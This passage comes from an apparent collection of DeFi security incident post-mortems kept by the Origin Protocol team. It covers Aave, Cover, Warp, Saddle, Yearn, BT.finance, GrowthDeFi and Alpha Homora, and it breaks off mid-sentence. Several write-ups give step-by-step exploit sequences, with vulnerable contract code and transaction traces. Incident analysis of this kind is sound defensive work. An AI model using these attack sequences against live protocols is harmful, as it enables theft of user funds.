completeness, or usefulness of the information provided, nor can I be held liable for any damages or losses resulting from the use or reliance on such information or services. Any actions taken based on the information or advice provided are done so at the sole discretion and risk of the individual or organization involved. This disclaimer serves to clarify that while I strive to provide helpful and accurate information or services, there are no legal guarantees or warranties provided. 391 | 392 | -------------------------------------------------------------------------------- /incidents/2020-12-AAVE-proxy.md: -------------------------------------------------------------------------------- 1 | # 2020-12 AAVE Proxy/Delegatecall Issue 2 | 3 | _Daniel Von Fange 2020-12-15._ 4 | 5 | ## What happened. 6 | 7 | A whitehat security researcher found a fairly obscure bug in the Aave which would allow anyone to destroy some of their contracts, which would breaking AAVE until new contracts could be destroyed, or steal newly deposited funds, or perhaps more. 8 | 9 | Full details in the [AAVE blog post](http://medium.com/aave/aave-security-newsletter-546bf964689d). 10 | 11 | 12 | ## How it works. 13 | 14 | Aave uses upgradable smart contracts. These contracts can be initialized by anyone. The pool manager contract when initialized, takes the address of an external contract. The pool manager then has a method that delegatecalls to an address chosen by the external contract. 15 | 16 | AAVE has initialized the proxies versions of their contracts. However the implementation code was not initialized. An attacker could call the initialization code on the implementation contract, passing in their own malicious contract address. They could then call the vulnerable method on the implementation contract, which would delegatecall and run the code of the attacker’s choosing as if it were the implementation contract. The attacker would not be able to override any storage slots used by the production system (since those are set on the proxy), but they could make the delegated code call “self destruct” which would be run in the context of the implementation contract. This would cause the implementation contract to be destroyed, making all future AAVE calls from the proxy to the implementation fail. 17 | 18 | Except the Aave proxy code, rather than reverting if there was no backing implementation contract, would return something like a success. This could cause the overall AAVE system to continue executing, thinking it was doing things when when calls were actually going nowhere. 19 | 20 | ## What allowed this to happen? 21 | 22 | 1. Delegatecall used for something other than a proxy is super super dangerous. Most obviously you now have multiple contracts that need to care about not destroying your storage layout. It also makes it extremely hard to reason about what logic will actually be executed. Take every downside of upgradable contracts and square it when using delegatecall for a single method. 23 | 2. The proxy failing to revert on missing code makes this a much bigger problem than just a DOS opportunity. 24 | 25 | ## Are we vulnerable? 26 | 27 | 1. **OK** - We don’t use delegatecall outside of proxy contract calls. 28 | 29 | We have three delegatecall’s in our code. Two in our proxy implementation and one in VaultCore calling down to the admin functions. 30 | 31 | 2. **ADJUST** - Our proxies also don't revert on missing code. 32 | 33 | This would only be a problem if an implementation contract self destructed. We can't accidently upgrade to point at an address without code, since Open Zepplin checks that the new implementation address is actually a contract during the upgrade process. 34 | 35 | We use the same Open Zepplin proxy contract as the base for our upgradability. In testing this out locally, we can see that our proxy will also return successful transactions in the event that there is no backing implementation: 36 | 37 | # From the origin-dollar repo, as of commit 2ad9e95895d0edcd16d3d42128ea64f016dddc3f 38 | # > cd contracts 39 | # > npx hardhat console 40 | 41 | const vaultProxyFactory = await hre.ethers.getContractFactory("VaultProxy") 42 | vaultProxy = await vaultProxyFactory.deploy() 43 | vault = await hre.ethers.getContractAt("IVault", vaultProxy.address) 44 | 45 | // Should throw because an invaild coin, a zero mint, and getting less coins, 46 | // but instead returns a success when no backing implementation. 47 | tx = await vault.mint(vault.address, 0, 100) 48 | 49 | await hre.ethers.provider.getTransactionReceipt(tx.hash) 50 | 51 | 52 | Checking on each proxy call would add about 800-900 gas per transaction. 53 | 54 | We'll add a check for delegatecall and selfdestruct to our code review checklist. 55 | 56 | 3. **FIXING** VaultCore proxy code should match the rest of our proxy code 57 | 58 | Our VaultCore acts as a proxy. It does both a delegatecall, and does admin/upgrade functionality. The proxy implimentation on VaultCore is correct, however the setAdminImpl does not check that the new address is a valid contract. 59 | 60 | This is fixed in [PR-466](https://github.com/OriginProtocol/origin-dollar/pull/466). 61 | 62 | 63 | ## What went right. 64 | 65 | 1. Whitehat researcher notified them. 66 | 2. Good bug bounty. Fast payout announcement. 67 | 3. Clear blog post allowing others to learn from it. 68 | 69 | -------------------------------------------------------------------------------- /incidents/2020-12-Cover.md: -------------------------------------------------------------------------------- 1 | # Cover Protocol Mint Exploit 2 | 3 | _Tom Linton 2020-12-28._ 4 | 5 | ## Background 6 | 7 | Cover is a peer to peer insurance protocol for DeFi protocols. It allows the market to set the price for the premium of coverage for a protocol, and market makers to fill the demand for coverage. As part of the market making, CLAIM and NOCLAIM tokens are minted in equal amounts. Cover allows for "shield mining" which is the process of mining the $COVER token by staking LP tokens from Balancer for providing liquidity for CLAIM/NOCLAIM tokens. The shield mining contract [Blacksmith.sol](https://github.com/CoverProtocol/cover-token-mining/blob/f78cd9f/contracts/Blacksmith.sol) is the contract containing the vulnerability. 8 | 9 | 10 | ## Technical description 11 | 12 | ``` 13 | function deposit(address _lpToken, uint256 _amount) external override { 14 | require(block.timestamp >= START_TIME , "Blacksmith: not started"); 15 | require(_amount > 0, "Blacksmith: amount is 0"); 16 | Pool memory pool = pools[_lpToken]; 17 | require(pool.lastUpdatedAt > 0, "Blacksmith: pool does not exists"); 18 | require(IERC20(_lpToken).balanceOf(msg.sender) >= _amount, "Blacksmith: insufficient balance"); 19 | updatePool(_lpToken); 20 | ... 21 | } 22 | ``` 23 | 24 | The above code excerpt is taken from Blacksmith.sol, and is part of the `deposit` function which is called to deposit into the shield mining contract. An in-memory copy of a Pool is created. The intent of using `memory` here is to avoid modifying the data in `storage` (typically because you want to perform some calculation with it, but you don't need to retain any changes). At the end of the function call the changes in memory are discarded, making it more gas efficient than using storage. 25 | 26 | ``` 27 | function updatePool(address _lpToken) public override { 28 | Pool storage pool = pools[_lpToken]; 29 | if (block.timestamp <= pool.lastUpdatedAt) return; 30 | uint256 lpTotal = IERC20(_lpToken).balanceOf(address(this)); 31 | if (lpTotal == 0) { 32 | pool.lastUpdatedAt = block.timestamp; 33 | return; 34 | } 35 | // update COVER rewards for pool 36 | uint256 coverRewards = _calculateCoverRewardsForPeriod(pool); 37 | pool.accRewardsPerToken = pool.accRewardsPerToken.add(coverRewards.div(lpTotal)); 38 | pool.lastUpdatedAt = block.timestamp; 39 | // update bonus token rewards if exist for pool 40 | BonusToken storage bonusToken = bonusTokens[_lpToken]; 41 | if (bonusToken.lastUpdatedAt < bonusToken.endTime && bonusToken.startTime < block.timestamp) { 42 | uint256 bonus = _calculateBonusForPeriod(bonusToken); 43 | bonusToken.accBonusPerToken = bonusToken.accBonusPerToken.add(bonus.div(lpTotal)); 44 | bonusToken.lastUpdatedAt = block.timestamp <= bonusToken.endTime ? block.timestamp : bonusToken.endTime; 45 | } 46 | } 47 | ``` 48 | 49 | In contrast we can see in the `updatePool` function it correctly uses `storage` because the pool is being modified and that state change needs to be stored on chain. The changes to the pool in `updatePool` are not reflected in the `pool` referenced in the `deposit` function because it is an in-memory of the pool prior to any changes. The incorrect pool is then later used as it is passed to `_claimCoverRewards` and an invalid value of `pool.accRewardsPerToken` is used to calculate the reward write off. 50 | 51 | The `deposit` function contains the following line: 52 | 53 | ``` 54 | miner.rewardWriteoff = miner.amount.mul(pool.accRewardsPerToken).div(CAL_MULTIPLIER); 55 | ``` 56 | 57 | As we previously established, it is possible for `pool.accRewardsPerToken` to be incorrect here due to the memory/storage confusion. Using a very small deposit amount, it is possible to cause `pool.accRewardsPerToken` to be very small here, resulting in a small value for `miner.rewardWriteOff`. Meanwhile, the actual `pool.accRewardsPerToken` in storage could be very high. 58 | 59 | When an account then claims their rewards with `claimCoverRewards` the following line will execute: 60 | 61 | ``` 62 | uint256 minedSinceLastUpdate = miner.amount.mul(pool.accRewardsPerToken).div(CAL_MULTIPLIER).sub(miner.rewardWriteoff); 63 | ``` 64 | 65 | The reward amount is calculated by multipling by the very large `pool.accRewardsPerToken` and subtracting the previously incorrectly calculated `miner.rewardWriteOff` 66 | 67 | ## Timeline 68 | 69 | There were multiple exploiters, but to simplify we'll only outline transactions from one party. Note that these transactions were made by the Grap.finance deployer account, and the $COVER that was drained in these transactions was returned to Cover making it a whitehack hack. It is possible that these funds would have been drained by a malicious actor had Grap.finance not performed these transactions. 70 | 71 | 1. A new Balancer pool was initialized in this [transaction.](https://etherscan.io/tx/0xe5173fffaed3342b53d41319dc538e7923e287e962df2d27f5e425c633db45d4) 72 | 2. Grap.finance [deposits](https://etherscan.io/tx/0x77490baee41a9b35a6e87d49453c7329c7517c10ce6ce26b4c142692a2877e65) 15,255.552810089260015362 of the BPT token. 73 | 3. Grap.finance [withdraws](https://etherscan.io/tx/0x88ce99fc1cb695db82d83ce5fe587396744841d3a123687f95b18df6a3106818) 15,255.552810089260015361 of the BPT token. 74 | 4. Another user [withdrew](https://etherscan.io/tx/0xa27fb73caddb1cf24aa7a5afe84eed13db2f0a889a6ee0f3d5e6226a76c0fd9c) their BPT balance. 75 | 76 | At this point, the difference between the BPT deposit/withdraw in steps 2 and 3 is 1 WEI, meaning that there is exactly 1 WEI of the BPT token left in the pool on the Blacksmith contract. 77 | 78 | 5. Grap.finance [deposits](https://etherscan.io/tx/0xbd1fcda7006ddd58b18cb3bfbd01ef2d1a979be596e1c73be1d7d65fd7eb8215) more BPT tokens. 79 | 80 | The mismatch between the `pool.accRewardsPerToken` and `miner.rewardWriteoff` is now in place. 81 | 82 | 6. Grap.finance [calls](https://etherscan.io/tx/0xca135d1c4268d6354a019b66946d4fbe4de6f7ddf0ff56389a5cc2ba695b035f) `claimRewards`, receiving around 40,796,131,214,802,500,000 $COVER. 83 | 7. Grap.finance [returns](https://etherscan.io/tx/0xe6c068ca3605228b2435a414f2b372057340f77d3fe9f1d3967eb1ad128cb5d2) the $COVER. 84 | 85 | ## Conclusion 86 | 87 | This is one of the few exploits in the DeFi space that did not need a contract deployed, it could have been achieved with just a web3 wallet and a contract UI like the one provided by Etherscan. The attacker (0xf05ca010d0bd620cc7c8e96e00855dde2c2943df) does not appear to be a sophisticated user and may have stumbled across the exploit by accident. The attacker account was funded by other accounts that have a long history and so fund recovery may be possible. 88 | 89 | It is likely this issue would have been uncovered by the use of a tool such as [echidna](https://github.com/crytic/echidna). 90 | 91 | A full reproduction using Hardhat and Solidity is available [here](https://github.com/OriginProtocol/security/tree/master/reproductions/2020-12-cover). 92 | -------------------------------------------------------------------------------- /incidents/2020-12-Warp-finance-oracle.md: -------------------------------------------------------------------------------- 1 | # 2020-12 Warp Finace 2 | 3 | _Daniel Von Fange 2020-12-21._ 4 | 5 | ## What happened. 6 | 7 | Attacker chained together six flashloans to bend the ETH-DAI uniswap pool, used as a collateral pricing oracle by warp finance. 8 | 9 | About $7.7 million was taken from Warp finance. The attacker ended up with slightly less than $1 million, (uniswap/sushiswap) LP's gained more than $1 million, and the attacker left behind 5.5 million in collateral. (All numbers is are approximate.) 10 | 11 | 12 | ## How it works. 13 | 14 | https://etherscan.io/tx/0x8bb8dc5c7c830bac85fa48acad2505e9300a91c3ff239c9517d0cae33b595090 15 | 16 | The core venerability was using uniswap as an oracle. The rest of the attack followed the usual pattern. Tornado, flashloans, bend-the-oracle and attack, convert and unwind. 17 | 18 | Vulnerable uniswap oracle code: 19 | https://github.com/warpfinance/Warp-Contracts/blob/b25a6db4b430fb162d3b0bce1f3529c9f2761321/contracts/UniswapLPOracleFactory.sol#L114-L167 20 | 21 | 22 | A notable feature of the attack was the use of many AMMs. Five stacked flashloans (three from Uniswap, two from dydx) for the initial capital, then converting back to coins on the wind-down via a third AMM, Sushi. 23 | 24 | 25 | ## What allowed this to happen? 26 | 27 | 1. Using a naked uniswap/amm to price collateral is simply going to result in a loss of funds. 28 | 29 | ## Are we vulnerable? 30 | 31 | We should not be vulnerable to this attack. We don't use any AMM based oracles. 32 | 33 | In addition, the Vault protects the OUSD's funds against mispriced oracles, with a design goal of making a mispriced oracle work against the user doing the transacting. 34 | 35 | We do use an Open Price Feed oracle that has a TWAP uniswap price as a circuit breaker to stop malicious Coinbase oracle updates. This oracle is also used by Compound. In theory this should be resistant to flash loans. 36 | 37 | Aave uses Chainlink oracles, not AMM oracles, falling back to their own prices that they upload to a fallback contract. 38 | 39 | ## What went right. 40 | 41 | 1. Fast communication to community from Warp team. 42 | 2. Attacker left 5.5 million of colateral locked in Warp's contracts. Warp was able to upgrade their contract, adding a backdoor to "steal" this colateral, to be returned to the community. This reduced the size of the losses. -------------------------------------------------------------------------------- /incidents/2021-01-20-Saddle.md: -------------------------------------------------------------------------------- 1 | # 2021-1 Saddle Finance Arbitrage 2 | 3 | _Domen Grabec 2021-1-21._ 4 | 5 | ## What happened. 6 | 7 | Saddle Finance launched their fork of the Curve protocol. Blog post on [Rekt](https://www.rekt.news/saddle-finance-rekt/) suggests that they did so with minimal code changes. Curve was designed to more effectively provide liquidity pools for stable coins doing swaps with more depth and less slippage. 8 | 9 | Upon contract creation Saddle Finance hasn't supplied balanced initial liquidity to the pools. Then users provided their own liquidity and pools were exposed to highly profitable arbitrage. Here is an example of swap transactions that greatly benefited the swapping user at the cost of funds lost to liquidity providers: 10 | - [Arb Tx 1](https://etherscan.io/tx/0x3c351cea655b8a50348e6ffa1bfff5b4ce68f99366cfad3d8a02ffb01f63138a) 11 | - [Arb Tx 2](https://etherscan.io/tx/0x299ff1ac7fcec4624ec63bd0192f3df1fc8ca48211e898ac9d6caa828a33de46) 12 | - [Arb Tx 3](https://etherscan.io/tx/0x40d860b536effc7f0f8814d3bc2db88a8d9c80f0b701a224b660578b049a0283) 13 | 14 | ## Reproduction 15 | 16 | Not much technical description is needed since this wasn't so much a bug in the contract code, rather a pretty sloppy release strategy. There is still reproduction code available under `reproductions` folder. Simulating a transaction where user swapped 0.34 sBtc for 4.3 WBTC. 17 | 18 | -------------------------------------------------------------------------------- /incidents/2021-02-05-Yearn.md: -------------------------------------------------------------------------------- 1 | # Yearn Exploit 2 | 3 | _Yu Pan 2021-2-5._ 4 | 5 | ## Background 6 | 7 | Yearn Finance is a suite of products in Decentralized Finance (DeFi) that provides lending aggregation, yield generation, and insurance on the Ethereum blockchain. Yearn Vaults, in essence, are pools of funds with an associated strategy for maximising returns on the asset in the vault. Vault strategies are more active than just lending out coins like in the standard Yearn protocol. In fact, most vault strategies can do multiple things to maximise the returns. 8 | 9 | The attacked was on Yearn's v1 yDAI vault has led to 11m DAI of vault deposits being lost. 10 | 11 | ## Technical description 12 | 13 | At a high level, the exploiter was able to profit through the following steps: 14 | 15 | 1. Debalance the exchange rate between stablecoins in Curve's 3CRV pool. 16 | 2. Make the yDAI vault deposit into the pool at an unfavorable exchange rate. 17 | 3. Reverse the imbalance caused in step 1. 18 | 19 | This pattern was repeated in a series of 11 transactions executed over 38 minutes before being mitigated [yearn writeup](https://github.com/iearn-finance/yearn-security/blob/master/disclosures/2021-02-04.md). 20 | 21 | 22 | _Using one of the transactions[[4]](#References) as an example._ 23 | 24 | 1. Mint 3crv shares by depositing 134m USDC and 36m DAI to Curve 3pool. 25 | 2. Withdraw 165m USDT from Curve 3pool. The pool is now at an imbalance, having significantly less USDT in proportion to USDC and DAI. 26 | 3. Repeat the following step several times, for increasingly smaller amounts: 27 | 1. Deposit DAI into yDAI vault. This causes the vault to deposit DAI into the imbalanced 3pool, at an unfavorable exchange rate. 28 | 1. Deposit 165m USDT into the Curve 3pool again, partially restoring the imbalance in the pool. 29 | 1. Withdraw DAI from yDAI vault. The 3pool returns only 92.3m DAI, 0.7m DAI of the yVault's funds remain in the 3pool. 30 | 1. Withdraw 165m USDT from the 3pool to cause the imbalance again. 31 | 4. In the final repetition, instead of withdrawing USDT, redeem the initial 3crv shares and withdraw 134m USDC and 39.4m DAI, i.e. 2.9m DAI more than what was deposited originally. 32 | 33 | Great simulation of the attack in [python](https://gist.github.com/xu3kev/cb1992269c429647d24b6759aff6261c) 34 | 35 | 36 | ## Timeline 37 | 38 | - Attack started at eb-04-2021 09:12:40 PM +UTC with a series transactions adding and removing liquidity [contract](https://etherscan.io/address/0x14ec0cd2acee4ce37260b925f74648127a889a28) 39 | - Apparently yearn was able to called together their multisig within 11 minutes and stop the exploit whule it's underway. 40 | 41 | ## Conclusion 42 | 43 | As mentioned in their [writeup](https://github.com/iearn-finance/yearn-security/blob/master/disclosures/2021-02-04.md) up the contributing factor was that their slippage protection was at 1% and that their withdrawal fee was at 0%(for promo?). We do have a pretty high withdrawal fee and a cap on the exchange rates, but might want to review ways to create token imbalances. 44 | 45 | -------------------------------------------------------------------------------- /incidents/2021-02-09-BT-finance.md: -------------------------------------------------------------------------------- 1 | # BT.finance Exploit 2 | 3 | _Shahul Hameed, Feb 09, 2021._ 4 | 5 | ## Summary 6 | 7 | BT.finance is a DeFi product that focuses on yield generation on Ethereum blockchain. Most of their code is borrowed from Yearn.Finance and Uniswap. 8 | 9 | An attack was targeted at some of their vault contracts and this has led to an loss of at least $1.7m of user funds. This attack is similar to the attack on Yearn a few days ago. 10 | 11 | ## Technical description 12 | 13 | A detailed analysis [is over here](https://ethtx.info/mainnet/0xc71cea6fa00d11e98f6733ee8740f239cb37b11dec29e7cf85d7a4077977fa65) 14 | 15 | _Using the [transactions](https://etherscan.io/tx/0xc71cea6fa00d11e98f6733ee8740f239cb37b11dec29e7cf85d7a4077977fa65) as an example._ 16 | 17 | 1. Borrow 100k ETH from dYdX to the controller contract 18 | 2. Create a new contract 19 | 1. Add 57.659k ETH liquidity to StableSwapSETH Pool to cause price imbalance for ETH/sETH pair 20 | 2. Deposit 4.43k ETH to BT.finance's ETH vault which in turns add that as liquidity to StableSwapSETH Pool 21 | 3. Withdraw 57.659k ETH liquidity from StableSwapSETH Pool, also burns any lpToken (eCRV) to get more ETH than deposited. 22 | 4. Transfer from the vault to the address (where another exploit contract would be created) 23 | 5. Create the second exploit contract with create2 24 | 6. Call `suicide` on both exploit contracts after transferring balance to the controller contract 25 | 3. Repeat Step 2, 5 times, earning 2k ETH each time. 26 | 4. Repay borrowed ETH from dYdX 27 | 28 | At the end of the transaction, the attacker ended up with 10k ETH. With $1700/ETH price, it's about $1.7m in value. 29 | 30 | ## Timeline 31 | 32 | - Attack started at Feb-08-2021 08:10:01 PM +UTC with a series transactions adding and removing liquidity from this [contract] (https://etherscan.io/address/0x54b5ae5ebe86d2d86134f3bb7e36e7c83295cbcb) 33 | 34 | ## Conclusion 35 | 36 | The root cause of the exploit seem to be causing price imbalance in the Curve's sETH pool and benefitting from it. The same exploit should not work on OUSD, since we are not using any of Curve's pools right now. But we should definitely consider a way to detect and prevent flash loan attacks at contract-level. 37 | -------------------------------------------------------------------------------- /incidents/2021-02-10-Growth-Defi.md: -------------------------------------------------------------------------------- 1 | # GrowthDeFi Exploit 2 | 3 | _Franck, Feb 10, 2021._ 4 | 5 | ## Summary 6 | 7 | [Growth DeFi](https://growthdefi.com/) Is a DeFi protocol centered around the GRO and stkGRO (staked) tokens. 8 | 9 | On Feb 8, one of the [rAAVE](https://raave.io/) staking pool(rAAVE/stkGRO) pool was attacked and the attacker stole ~800 ETH ($1.3M). 10 | 11 | 12 | ## Technical description 13 | 14 | A very detailed analysis by the GrowthDeFi team can be found [here](https://growthdefi.medium.com/raave-farming-contract-exploit-explained-f3b6f0b3c1b3) and summary in this [article](https://rekt.eth.link/the-big-combo/). 15 | 16 | The vulnerability was caused by a missing input validation on a method from a staking pool contract. 17 | - The attacker created a fake token called sAXZZ and supplied rAXZZ/GRO liquidity into a Uniswap pool they created. 18 | - Then they staked the LP tokens from that malicious pool into the stkGRO/rAAVE pool (by taking advantage of the missing input check). 19 | - Finally, they withdrew from the pool to gain rAAVE and GRO token that they liquidated for ETH. 20 | 21 | Here is the [fix](https://github.com/GrowthDeFi/raave-v1-core/commit/d33dafd82d38c693fba8e23966c81830ca4a4168). 22 | 23 | ## Timeline 24 | 25 | - Attack started at Feb-08-2021 06:17:19 PM +UTC 26 | - Attack ended on Feb-08-2021 06:23:29 PM +UTC with 27 | 28 | ## Conclusion 29 | 30 | The root cause of the exploit was a missing check in a core method of a staking pool contract. 31 | - This was [custom](https://github.com/GrowthDeFi/raave-v1-core/blob/master/contracts/modules/UniswapV2LiquidityPoolAbstraction.sol) contract code, not forked. 32 | - While some contracts from GrowthDefi were [audited](https://consensys.net/diligence/audits/2020/12/growth-defi-v1), it does not seem the audit included the exploited contract. 33 | - The amount of [unit tests](https://github.com/GrowthDeFi/raave-v1-core/tree/master/test) for those contracts is minimal. 34 | 35 | Overall, there is no reason to believe OUSD is currently at risk of a similar attack. 36 | But this is a good reminder that defensive code and thorough unit testing of edge cases are critical tools to ensure the security of a protocol. 37 | -------------------------------------------------------------------------------- /incidents/2021-02-13-Alpha-Homora-v2.md: -------------------------------------------------------------------------------- 1 | # Alpha Hormora v2 Exploit 2 | 3 | _Josh Fraser 2021-2-13._ 4 | 5 | ## Background 6 | 7 | Alpha Finance Lab is an ecosystem of DeFi products w/ a focus on innovation. 8 | 9 | This attack was on Alpha Homora v2, which is a protocol for leveraging your position in yield farming pools. ETH lenders can earn high interest on ETH, and yield farmers can get even higher farming APY from taking on leveraged positions on yield farming. 10 | 11 | The [Iron Bank](https://creamdotfinance.medium.com/introducing-the-iron-bank-bab9417c9a) is a new project from Andre Cronje that allows trusted protocols to borrow funds from Cream v2 w/o posting any collateral. Borrowers have a credit limit and must be whitelisted. Yearn and [Alpha Finance](https://alphafinance.io/) were two of the initial whitelisted partners. 12 | 13 | To get a credit line from the Iron Bank, a user must have one of the following three backstops to ensure the debt is paid back: 14 | 15 | - A treasury large enough to cover credit 16 | - Cover Protocol insurance large enough to cover credit 17 | - Nexus Mutual insurance large enough to cover credit 18 | 19 | It appears this attacker pretended to be Alpha and used Alpha's privledged access in order to take out a huge loan from the Iron Bank which was sent to the attacker instead of being used for the intended purpose of generating yield for the protocol. 20 | 21 | Alpha Homora is a borrower from Iron Bank, but it's also a lending platform itself with it's own borrowers and lenders. Currently ibETHv2 collateral is at 100% utilization on [Alpha Homora](https://homora-v2.alphafinance.io/earn) and lenders are locked from withdrawing their capital. Their other pools have unusally high utilization factors. 22 | 23 | As if often the case, this attack involved a flash loan and multiple DeFi players, including the newly launched IronBank from Cream. At first glance, it looked like the money came from Cream Finance, but communication from both the Cream & Alpha teams quickly identified the root cause and victim of the attack as Alpha Finance. 24 | 25 | Within the last few days, Alpha Homora had deployed an upgrade aimed at preventing flash loans by adding an `onlyEOA()` modifier. As a result of this code change, this attack required 9 seperate transactions instead of 1. However, while this flash-loan prevention slowed down the attack, it still didn't prevent $37.5M worth of ETH and stablecoins from being taken. 26 | 27 | As result of this attack, Alpha finance is left with a debt that they need to pay back to the Iron Bank. Alpha Homora's [treasury](https://etherscan.io/address/0x580ce7b92f185d94511c9636869d28130702f68e) currently holds $1.6B worth of ALPHA tokens. It is unclear whether this treasury will be used to pay off the debt or they will resolve this debt in some other way. 28 | 29 | After the attack, the hacker sent 1k ETH back to Alpha's deployer address, 1k ETH to CREAM Finance’s deployer address. 100 ETH to Tornado Cash, and 100 ETH to the Gitcoin grant for Tornado. 30 | 31 | ## Details 32 | 33 | - [Alpha Homora UI](https://homora-v2.alphafinance.io/earn) 34 | - [Alpha Homora v2 code & details](https://github.com/AlphaFinanceLab/homora-v2) 35 | 36 | - Attackers wallet: [0x905315602ed9a854e325f692ff82f58799beab57](https://etherscan.io/address/0x905315602ed9a854e325f692ff82f58799beab57) 37 | - Attack contract: [0x560a8e3b79d23b0a525e15c6f3486c6a293ddad2](https://etherscan.io/address/0x560a8e3b79d23b0a525e15c6f3486c6a293ddad2) 38 | 39 | ## Audits 40 | 41 | Alpha Homora was previously audited by [Quantstamp](https://github.com/AlphaFinanceLab/homora-v2/blob/master/audits/Alpha-Homora-v2-Quantstamp-audit-report.pdf) and [Peckshield](https://github.com/AlphaFinanceLab/homora-v2/blob/master/audits/Alpha-Homora-v2-Peckshield-audit-report.pdf). Quantstamp found 4 high-severity issues which were all subsequently fixed. Peckshield did not report any high-severity issues. 42 | 43 | ## Attack 44 | 45 | Here are the steps of the attack, copied verbatim from the [Alpha's post-mortem](https://blog.alphafinance.io/alpha-homora-v2-post-mortem/) published on their blog. 46 | 47 | 1. The attacker created an evil spell (can think of this as equivalent to Yearn’s strategy). https://etherscan.io/tx/0x2b419173c1f116e94e43afed15a46e3b3a109e118aba166fcca0ba583f686d23 48 | 49 | 2. Attacker swaps ETH -> UNI, and supply ETH + UNI to Uniswap pool (obtaining ETH/UNI LP token). In the same tx, swap ETH -> sUSD on Uniswap and deposit sUSD to Cream’s Iron Bank (getting cysUSD) 50 | https://etherscan.io/tx/0x4441eefe434fbef9d9b3acb169e35eb7b3958763b74c5617b39034decd4dd3ad 51 | 52 | 3. Call execute to HomoraBankV2 using the evil spell (creating position 883), performing: 53 | 54 | - Borrow 1000e18 sUSD 55 | - Deposit UNI-WETH LP to WERC20, and use as collateral (to bypass the collateral > borrow check) 56 | - In the process, the attacker has 1000e18 sUSD debt shares (because the attacker is the first borrower) 57 | https://etherscan.io/tx/0xcc57ac77dc3953de7832162ea4cd925970e064ead3f6861ee40076aca8e7e571 58 | 59 | 4. Call execute to HomoraBankV2 using the evil spell again (to position 883), performing: 60 | 61 | - Repay 1000000098548938710983 sUSD (actual debt with interest accrued is 1000000098548938710984 sUSD), resulting in a repay share of 1 less than the total share. 62 | - As a result, the attacker now has 1 minisUSD debt and 1 debt share. 63 | https://etherscan.io/tx/0xf31ee9d9e83db3592601b854fe4f8b872cecd0ea2a3247c475eea8062a20dd41 64 | 65 | 5. Call resolveReserve on sUSD bank, accruing 19709787742196 debt, while totalShare remains 1. 66 | Current state: totalDebt = 19709787742197, while totalShare = 1 67 | 68 | https://etherscan.io/tx/0x98f623af655f1e27e1c04ffe0bc8c9bbdb35d39999913bedfe712d4058c67c0e 69 | 70 | 6. Call execute to HomoraBankV2 using the evil spell again, performing (repeat 16 times, each time doubling the borrowed amount): 71 | 72 | - Borrow 19709787742196 minisUSD and transfer to the attacker (doubling each time, since totalDebt doubles each time the borrow is successful). Each borrow is 1 less than the totalDebt value, causing the corresponding borrow share = 0, so the protocol treats this as no debt borrowing. 73 | 74 | At the end of tx, the attacker deposits 19.54 sUSD to Cream’s Iron Bank. 75 | https://etherscan.io/tx/0x2e387620bb31c067efc878346742637d650843210596e770d4e2d601de5409e3 76 | 77 | 7. Continue the process: call execute to HomoraBankV2 using the evil spell again, performing (repeat 10 times, each time doubling the borrowed amount). At the end of tx, the attacker deposits 1321 sUSD to Cream’s Iron Bank. 78 | https://etherscan.io/tx/0x64de824a7aa339ff41b1487194ca634a9ce35a32c65f4e78eb3893cc183532a4 79 | 80 | 8. 81 | 82 | - Flashloan from aave (borrowing 1,800,000 USDC) 83 | - Swap 1,800,000 USDC to 1,770,757.56254472419047906 sUSD, and deposit to Cream to have enough liquidity for the attacker to borrow using the custom spell 84 | - Continued doubling the sUSD borrow from 1,322.70 sUSD to 677,223.15 sUSD (total of 10 times). 85 | - Swap 1,353,123.59 sUSD to 1,374,960.72 USDC on Curve 86 | - Borrow 426,659.27 USDC from Cream (since the attacker deposited sUSD already in step b.) 87 | 88 | https://etherscan.io/tx/0x7eb2436eedd39c8865fcc1e51ae4a245e89765f4c64a13200c623f676b3912f9 89 | 90 | 9. Repeat step 8, but with ~10M USDC (no USDC borrowing at the end) 91 | https://etherscan.io/tx/0xd7a91172c3fd09acb75a9447189e1178ae70517698f249b84062681f43f0e26e 92 | 93 | 10. Repeat with 10M USDC (no USDC borrowing at the end) 94 | 95 | https://etherscan.io/tx/0xacec6ddb7db4baa66c0fb6289c25a833d93d2d9eb4fbe9a8d8495e5bfa24ba57 96 | 97 | 11. 98 | 99 | - Borrow 13,244.63 WETH + 3.6M USDC + 5.6M USDT + 4.26M DAI 100 | - Supply the stablecoins to Aave (to get aTokens, so USDC & USDT can’t be frozen) 101 | - Supply aDAI, aUSDT, aUSDC to Curve a3Crv pool 102 | https://etherscan.io/tx/0x745ddedf268f60ea4a038991d46b33b7a1d4e5a9ff2767cdba2d3af69f43eb1b 103 | 104 | 12. Add a3Crv LP token to Curve’s liquidity gauge 105 | 106 | https://etherscan.io/tx/0xc60bc6ab561af2a19ebc9e57b44b21774e489bb07f75cb367d69841b372fe896 107 | 108 | 13. The rest of txs are supplying to Tornade Cash, GitCoin Grants. 1k ETH is sent to each of Cream’s and Alpha’s deployer addresses. 109 | 110 | ## Fix 111 | 112 | Alpha's newly deployed Bank contract includes a whitelist of 5 spells that was missing in the [published version of this contract in Github](https://github.com/AlphaFinanceLab/homora-v2/blob/master/contracts/HomoraBank.sol#L382). This initially lead me to believe that this missing validation check was the issue, but Banteg & Samczsun let me know that spells were open to anyone by design. It's clear from Alpha's post-mortem that this was the sledgehammer approach to fixing the issue quickly and not the actual vulnerability. 113 | 114 | function execute( 115 | uint positionId, 116 | address spell, 117 | bytes memory data 118 | ) external payable lock onlyEOA returns (uint) { 119 | require( 120 | spell == 0x17c0b6568F5d72b796269e0F43dDd881AC13110b || 121 | spell == 0xc671B7251a789de0835a2fa33c83c8D4afB39092 || 122 | spell == 0x42C750024E02816eE32EB2eB4DA79ff5BF343D30 || 123 | spell == 0x15B79c184A6a8E19a4CA1F637081270343E4D15D || 124 | spell == 0x21Fa95485f4571A3a0d0c396561cF4D8D13D445d 125 | ); 126 | if (positionId == 0) { 127 | positionId = nextPositionId++; 128 | positions[positionId].owner = msg.sender; 129 | } else { 130 | require(positionId < nextPositionId, 'position id not exists'); 131 | require(msg.sender == positions[positionId].owner, 'not position owner'); 132 | } 133 | POSITION_ID = positionId; 134 | SPELL = spell; 135 | HomoraCaster(caster).cast{value: msg.value}(spell, data); 136 | uint collateralValue = getCollateralETHValue(positionId); 137 | uint borrowValue = getBorrowETHValue(positionId); 138 | require(collateralValue >= borrowValue, 'insufficient collateral'); 139 | POSITION_ID = _NO_ID; 140 | SPELL = _NO_ADDRESS; 141 | return positionId; 142 | } 143 | 144 | In addition to the spell whitelist, Alpha deployed two other changes: 145 | 146 | - `resolveReserve()` function can now only be called by governor 147 | - Can only borrow & repay 4 tokens (ETH, DAI, USDC, USDT) 148 | 149 | ## Alpha's response 150 | 151 | Alpha Finance 